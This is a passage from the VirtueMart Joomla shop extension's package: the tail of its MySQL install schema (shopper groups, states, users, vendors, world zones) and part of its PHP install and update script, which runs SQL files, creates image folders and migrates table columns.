'0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_vote_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethods` ( `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shipment_jplugin_id` int(11) NOT NULL DEFAULT '0', `shipment_element` char(50) NOT NULL DEFAULT '', `shipment_params` varchar(19000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shipmentmethod_id`), KEY `idx_shipment_jplugin_id` (`shipment_jplugin_id`), KEY `idx_shipment_element` (shipment_element,`virtuemart_vendor_id`), KEY `idx_shipment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shipment created from the shipment plugins' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for shipment to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shoppergroups` ( `virtuemart_shoppergroup_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shopper_group_name` char(64), `shopper_group_desc` char(128), `custom_price_display` tinyint(1) NOT NULL DEFAULT '0', `price_display` blob, `default` tinyint(1) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shoppergroup_id`), KEY `idx_shopper_group_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_shopper_group_name` (`shopper_group_name`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shopper Groups that users can be assigned to' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_states` ( `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `state_name` char(64), `state_3_code` char(3), `state_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_state_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `idx_state_3_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_3_code`), UNIQUE KEY `idx_state_2_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_2_code`), KEY `i_virtuemart_country_id` (`virtuemart_country_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='States that are assigned to a country' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmusers` ( `virtuemart_user_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `user_is_vendor` tinyint(1) NOT NULL DEFAULT '0', `customer_number` char(32), `perms` char(40) NOT NULL DEFAULT 'shopper', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_user_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_vendor_id`), KEY `i_user_is_vendor` (`user_is_vendor`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds the unique user data' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmuser_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmuser_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for users to shopper group' ; -- -------------------------------------------------------- CREATE TABLE IF NOT EXISTS `#__virtuemart_permgroups` ( `virtuemart_permgroup_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `group_name` char(128), `group_level` int(11), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_permgroup_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds all the user groups' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfields` ( `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `userfield_jplugin_id` int(11) NOT NULL DEFAULT '0', `name` char(255) NOT NULL DEFAULT '', `title` char(255) NOT NULL DEFAULT '', `description` mediumtext, `type` char(70) NOT NULL DEFAULT '', `maxlength` int(11), `size` int(11), `required` tinyint(4) NOT NULL DEFAULT '0', `cols` int(11), `rows` int(11), `value` char(255), `default` char(255), `registration` tinyint(1) NOT NULL DEFAULT '0', `shipment` tinyint(1) NOT NULL DEFAULT '0', `account` tinyint(1) NOT NULL DEFAULT '1', `readonly` tinyint(1) NOT NULL DEFAULT '0', `calculated` tinyint(1) NOT NULL DEFAULT '0', `sys` tinyint(4) NOT NULL DEFAULT '0', `params` varchar(17500), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_account` (`account`), KEY `i_shipment` (`shipment`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the fields for the user information' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfield_values` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfield_values` ( `virtuemart_userfield_value_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `fieldtitle` char(255) NOT NULL DEFAULT '', `fieldvalue` char(255) NOT NULL DEFAULT '', `sys` tinyint(4) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_value_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the different values for dropdown and radio lists' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userinfos` ( `virtuemart_userinfo_id` int(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2) NOT NULL DEFAULT '', `address_type_name` char(32) NOT NULL DEFAULT '', `name` char(64), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64), `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(32) NOT NULL DEFAULT '', `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userinfo_id`), KEY `idx_userinfo_virtuemart_user_id` (`virtuemart_userinfo_id`,`virtuemart_user_id`), KEY `address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Customer Information, BT = BillTo and ST = ShipTo'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vendors` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendors` ( `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `vendor_name` char(64), `vendor_currency` int(11), `vendor_accepted_currencies` varchar(1536) NOT NULL DEFAULT '', `vendor_params` varchar(17000), `metarobot` char(20), `metaauthor` char(64), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_vendor_id`), KEY `idx_vendor_name` (`vendor_name`) -- KEY `idx_vendor_category_id` (`vendor_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Vendors manage their products in your store' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_vendor_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendor_medias` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_waitingusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_waitingusers` ( `virtuemart_waitinguser_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `notify_email` char(150) NOT NULL DEFAULT '', `notified` tinyint(1) NOT NULL DEFAULT '0', `notify_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_waitinguser_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `notify_email` (`notify_email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores notifications, users waiting f. products out of stock' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_worldzones` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_worldzones` ( `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1), `zone_name` char(255), `zone_cost` decimal(10,2), `zone_limit` decimal(10,2), `zone_description` varchar(18000), `zone_tax_rate` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_worldzone_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The Zones managed by the Zone Shipment Module' AUTO_INCREMENT=1 ; PK@y>\3bb7components/com_virtuemart/install/script.virtuemart.phpnuW+Apath = JInstaller::getInstance()->getPath('extension_administrator'); if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } require_once($this->path.DS.'helpers'.DS.'config.php'); JTable::addIncludePath($this->path.DS.'tables'); JModel::addIncludePath($this->path.DS.'models'); } public function checkIfUpdate(){ $update = false; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SHOW TABLES LIKE "%virtuemart_adminmenuentries%"'; //=>jos_virtuemart_shipment_plg_weight_countries $this->_db->setQuery($q); if($this->_db->loadResult()){ $q = "SELECT count(id) AS idCount FROM `#__virtuemart_adminmenuentries`"; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if (empty($result)) { $update = false; } else { $update = true; } } else { $update = false; } $this->update = $update; return $update; } /** * Pre-process method (e.g. install/upgrade) and any header HTML * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent * @return boolean True if VM exists, null otherwise */ public function preflight ($type, $parent=null) { //We want disable the redirect in the installation process if(version_compare(JVERSION,'1.6.0','ge')) { $q = 'DELETE FROM `#__menu` WHERE `menutype` = "main" AND (`link`="index.php?option=com_virtuemart" OR `alias`="virtuemart" )'; $this->_db = JFactory::getDbo(); $this->_db -> setQuery($q); $this->_db -> query(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ $app = JFactory::getApplication(); $app ->enqueueMessage('Error deleting old vm admin menu (BE) '.$error); } } } /** * Install script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function install ($loadVm = true) { if($loadVm) $this->loadVm(); if($this->checkIfUpdate()){ return $this->update($loadVm); } $_REQUEST['install'] = 1; $this -> joomlaSessionDBToMediumText(); // install essential and required data // should this be covered in install.sql (or 1.6's JInstaller::parseSchemaUpdates)? // if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'updatesMigration.php'); $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); $model = JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_essential_data.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_required_data.sql',$lang); //$id = $model->determineStoreOwner(); $model->setStoreOwner(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; // if(version_compare(JVERSION,'1.6.0','ge')) { $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'shipment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'payment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'invoices'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'typeless'); $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->displayFinished(false); //include($this->path.DS.'install'.DS.'install.virtuemart.html.php'); // perhaps a redirect to updatesMigration here rather than the html file? // $parent->getParent()->setRedirectURL('index.php?option=com_virtuemart&view=updatesMigration'); return true; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder($path){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if(JFolder::create($path)) { if(!JFile::exists($path .DS. 'index.html')){ JFile::copy(JPATH_ROOT.DS.'components'.DS.'index.html', $path .DS. 'index.html'); } return true; } return false; } /** * Update script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function update ($loadVm = true) { if($loadVm) $this->loadVm(); if(!$this->checkIfUpdate()){ return $this->install($loadVm); } //Delete Cache $cache = JFactory::getCache(); $cache->clean(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); if(empty($this->path)) $this->path = JPATH_VM_ADMINISTRATOR; $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'updatesmigration.php'); $model = new VirtueMartModelUpdatesMigration(); //JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $this -> joomlaSessionDBToMediumText(); $this->alterTable('#__virtuemart_product_prices', array( 'product_price_vdate' => '`product_price_publish_up` DATETIME NULL DEFAULT NULL AFTER `product_currency`', 'product_price_edate' => '`product_price_publish_down` DATETIME NULL DEFAULT NULL AFTER `product_price_publish_up`' )); $this->alterTable('#__virtuemart_medias', array( 'file_url' => '`file_url` varchar(900) NOT NULL DEFAULT ""', 'file_params' => '`file_params` varchar(17500)', 'file_url_thumb' => '`file_url_thumb` varchar(900) NOT NULL DEFAULT ""', ) ); $this->deleteReCreatePrimaryKey('#__virtuemart_userinfos','virtuemart_userinfo_id'); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->updateMyVmTables(); $result = $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->adjustDefaultOrderStates(); $this->fixOrdersVendorId(); $this->updateAdminMenuEntries(); $this->fixConfigValues(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; if(JFolder::exists($src)){ $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); } if($loadVm) $this->displayFinished(true); return true; } private function fixConfigValues(){ if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); $data = array(); $list_limit = VmConfig::get('list_limit',0); if(!empty($list_limit)){ $data['llimit_init_BE'] = $list_limit; $data['llimit_init_FE'] = $list_limit; } $pagseq = VmConfig::get('pagination_sequence',0); if(!empty($pagseq)){ $data['pagseq'] = $pagseq; $data['pagseq_1'] = $pagseq; $data['pagseq_2'] = $pagseq; $data['pagseq_3'] = $pagseq; $data['pagseq_4'] = $pagseq; $data['pagseq_5'] = $pagseq; } $configModel = VmModel::getModel('config'); $configModel->store($data); } private function fixOrdersVendorId(){ $multix = Vmconfig::get('multix','none'); if( $multix == 'none'){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $q = 'SELECT `virtuemart_user_id` FROM #__virtuemart_orders WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->loadResult(); if($res){ //vmdebug('fixOrdersVendorId ',$res); $q = 'UPDATE #__virtuemart_orders SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update orders '.$err); } $q = 'UPDATE #__virtuemart_order_items SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update order_item '.$err); } } } } private function adjustDefaultOrderStates(){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $order_stock_handles = array('P'=>'R', 'C'=>'R', 'X'=>'A', 'R'=>'A', 'S'=>'O'); foreach($order_stock_handles as $k=>$v){ $q = 'SELECT `order_stock_handle` FROM `#__virtuemart_orderstates`'; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(empty($res) and empty($err) ){ $q = 'UPDATE `#__virtuemart_orderstates` SET `order_stock_handle`="'.$v.'" WHERE `order_status_code`="'.$k.'" ;'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } } private function updateAdminMenuEntries() { if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `#__virtuemart_adminmenuentries` WHERE `view` = "log" '; $this->_db->setQuery($query); $result = $this->_db->loadResult(); if(empty($result) || !$result ){ // get the module id of the migration $query = 'SELECT module_id FROM `#__virtuemart_adminmenuentries` WHERE `view` = "updatesmigration" '; $this->_db->setQuery($query); $module_id = $this->_db->loadResult(); if( $module_id){ $q = "INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null, ".$module_id.", 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', '')"; $this->_db->setQuery($q); $this->_db->query(); $app = JFactory::getApplication(); $app->enqueueMessage('Added Log Menu entry ' ); } } } /** * @author Max Milbers * @param unknown_type $tablename * @param unknown_type $fields * @param unknown_type $command */ private function alterTable($tablename,$fields,$command='CHANGE'){ $ok = true; if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SHOW COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); foreach($fields as $fieldname => $alterCommand){ if(in_array($fieldname,$columns)){ $query = 'ALTER TABLE `'.$tablename.'` '.$command.' COLUMN `'.$fieldname.'` '.$alterCommand; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } return $ok; } /** * * @author Max Milbers * @param unknown_type $table * @param unknown_type $field * @param unknown_type $action * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable($table,$field,$fieldType){ $query = 'SHOW COLUMNS FROM `'.$table.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); if(!in_array($field,$columns)){ $query = 'ALTER TABLE `'.$table.'` ADD '.$field.' '.$fieldType; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install checkAddFieldToTable '.$this->_db->getErrorMsg() ); return false; } else { vmdebug('checkAddFieldToTable added '.$field); return true; } } return false; } private function addToRequired($table,$fieldname,$fieldvalue,$insert){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `'.$table.'` WHERE '.$fieldname.' = "'.$fieldvalue.'" '; $this->db->setQuery($query); $result = $this->db->loadResult(); if(empty($result) || !$result ){ $this->db->setQuery($insert); if(!$this->db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Install addToRequired '.$this->db->getErrorMsg() ); } } } private function deleteReCreatePrimaryKey($tablename,$fieldname){ //Does not work, the keys must be regenerated // $query = 'ALTER TABLE `#__virtuemart_userinfos` CHANGE COLUMN `virtuemart_userinfo_id` `virtuemart_userinfo_id` INT(1) NOT NULL AUTO_INCREMENT FIRST'; // $this->_db->setQuery($query); // if(!$this->_db->query()){ // } else { // $query = 'ALTER TABLE `#__virtuemart_userinfos` AUTO_INCREMENT = 1'; // $this->_db->setQuery($query); // } $query = 'SHOW FULL COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $fullColumns = 